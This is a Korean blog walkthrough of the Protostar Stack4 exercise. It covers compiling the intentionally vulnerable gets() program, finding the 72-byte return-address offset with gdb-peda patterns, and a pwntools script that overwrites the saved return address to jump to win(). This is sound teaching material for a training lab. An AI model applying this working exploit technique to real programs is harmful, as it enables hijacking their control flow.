Reversing/Protostar

STACK FOUR

RNRF 2022. 7. 7. 22:22

Stack4 takes a look at overwriting saved EIP and standard buffer overflows.

This level is at /opt/protostar/bin/stack4

Hints

  • A variety of introductory papers into buffer overflows may help.
  • gdb lets you do “run < input”
  • EIP is not directly after the end of buffer, compiler padding can also increase the size.

Link - https://exploit.education/protostar/stack-four/#source-code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

STACK3에 비해서 코드가 많이 줄어든 것을 확인할 수 있다.
해당 코드를 그림으로 짧게 설명해본다면...

위의 그림과 같이 전체 코드 흐름이 시작되고, 중간에서 main 함수로 들어갔다가 ret를 이용해서 다시 전체 코드로 돌아오는 흐름이다.

ret의 경우는 이전 강의에서 설명했듯이 아래와 같은 구조이다.

즉, buffer를 가득 채워서 ret의 주소도 덮어 씌울 수 있다. 결국 리턴을 하는 시점에 참조하는 스택의 영역이 무엇인지를 참고하면 쉽게 구하는것이 가능하다.

1. 파일 생성
root@kali:~/Desktop/protostar# gedit stack4.c

2. 컴파일
root@kali:~/Desktop/protostar# gcc -z execstack -w -no-pie -o stack4 stack4.c
/usr/bin/ld: /tmp/ccOC5d5W.o: in function `main':
stack4.c:(.text+0x2f): warning: the `gets' function is dangerous and should not be used.
(경고문은 무시해준다.)

3. 동작파악 (실행없이 바로 GDB)
root@kali:~/Desktop/protostar# gdb ./stack4
gdb-peda$ disas main

Dump of assembler code for function main:
   0x0000000000401145 <+0>:	push   rbp
   0x0000000000401146 <+1>:	mov    rbp,rsp
   0x0000000000401149 <+4>:	sub    rsp,0x50
   0x000000000040114d <+8>:	mov    DWORD PTR [rbp-0x44],edi
   0x0000000000401150 <+11>:	mov    QWORD PTR [rbp-0x50],rsi
   0x0000000000401154 <+15>:	lea    rax,[rbp-0x40]
   0x0000000000401158 <+19>:	mov    rdi,rax
   0x000000000040115b <+22>:	mov    eax,0x0
   0x0000000000401160 <+27>:	call   0x401040 <gets@plt>
   0x0000000000401165 <+32>:	mov    eax,0x0
   0x000000000040116a <+37>:	leave  
   0x000000000040116b <+38>:	ret    
End of assembler dump.

해당 코드들 중 "0x0000000000401160 <+27>: call   0x401040 <gets@plt>"에서 BOF가 발생할 수 있다는 것을 알 수 있다.
(gets()라는 함수에서 발생)
그리고 "0x000000000040116b <+38>: ret", 리턴을 win으로 변경해주면 된다는 것도 알 수 있다.

우선 ret에 브레이크 포인트를 걸어준다.
gdb-peda$ b *main+38
Breakpoint 1 at 0x40116b

그리고 패턴을 만들어준다.
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

그리고 실행 후 만들어 준 패턴을 넣어준다.
gdb-peda$ run
Starting program: /root/Desktop/protostar/stack4 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7fa8a00 --> 0xfbad2288 
RDX: 0x7ffff7faa8d0 --> 0x0 
RSI: 0x405261 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
RDI: 0x7fffffffe0d1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RBP: 0x4141334141644141 ('AAdAA3AA')
RSP: 0x7fffffffe118 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x40116b (<main+38>:	ret)
R8 : 0x4052c5 --> 0x0 
R9 : 0x0 
R10: 0x7ffff7faf500 (0x00007ffff7faf500)
R11: 0x246 
R12: 0x401050 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe1f0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401160 <main+27>:	call   0x401040 <gets@plt>
   0x401165 <main+32>:	mov    eax,0x0
   0x40116a <main+37>:	leave  
=> 0x40116b <main+38>:	ret    
   0x40116c:	nop    DWORD PTR [rax+0x0]
   0x401170 <__libc_csu_init>:	push   r15
   0x401172 <__libc_csu_init+2>:	mov    r15,rdx
   0x401175 <__libc_csu_init+5>:	push   r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe118 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffe120 ("AJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffe128 ("AAKAAgAA6AAL")
0024| 0x7fffffffe130 --> 0x4c414136 ('6AAL')
0032| 0x7fffffffe138 --> 0x401145 (<main>:	push   rbp)
0040| 0x7fffffffe140 --> 0x0 
0048| 0x7fffffffe148 --> 0xb499c86a627cb19f 
0056| 0x7fffffffe150 --> 0x401050 (<_start>:	xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040116b in main ()

ret에 브레이크 포인트가 걸리는 것을 확인할 수 있다.
리턴을 하는 시점에서는 스택의 가장 첫번째 있는 데이터를 꺼내와서 실행을 한다.
즉 첫번째에 있는 문자열(0000| 0x7fffffffe118 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL") = IAAeAA4AAJAAfA)을 복사해서 pattern offset을 실행해주면 된다.

gdb-peda$ pattern offset IAAeAA4AAJAAfA
IAAeAA4AAJAAfA found at offset: 72

확인 결과, 72바이트에 원하는 내용이 들어있는 것을 확인할 수 있다. 이 데이터를 가지고 프로그램을 짜보도록 한다.
그전에 win의 주소 값을 검색해서 복사해둔다.
gdb-peda$ disas win

Dump of assembler code for function win:
   0x0000000000401132 <+0>:	push   rbp
   0x0000000000401133 <+1>:	mov    rbp,rsp
   0x0000000000401136 <+4>:	lea    rdi,[rip+0xecb]        # 0x402008
   0x000000000040113d <+11>:	call   0x401030 <puts@plt>
   0x0000000000401142 <+16>:	nop
   0x0000000000401143 <+17>:	pop    rbp
   0x0000000000401144 <+18>:	ret    
End of assembler dump.

win의 시작 주소는 "0x0000000000401132"인 것을 확인할 수 있다.

root@kali:~/Desktop/protostar# gedit stack4.py

from pwn import *

winaddr = p64(0x0000000000401132)
payload = 'A' * 72 + winaddr

p = process(['./stack4'])
p.sendline(payload)
print p.recvrepeat(1)

해당 파일을 실행해서 결과를 확인해본다.
root@kali:~/Desktop/protostar# python stack4.py

[+] Starting local process './stack4': pid 11741
code flow successfully changed

[*] Stopped process './stack4' (pid 11741)

원하는 결과 값인 "code flow successfully changed"가 출력된 것을 볼 수 있다.

이전 STACK3의 연장선의 내용이었기 때문에 어려운 내용은 없었을 것이다.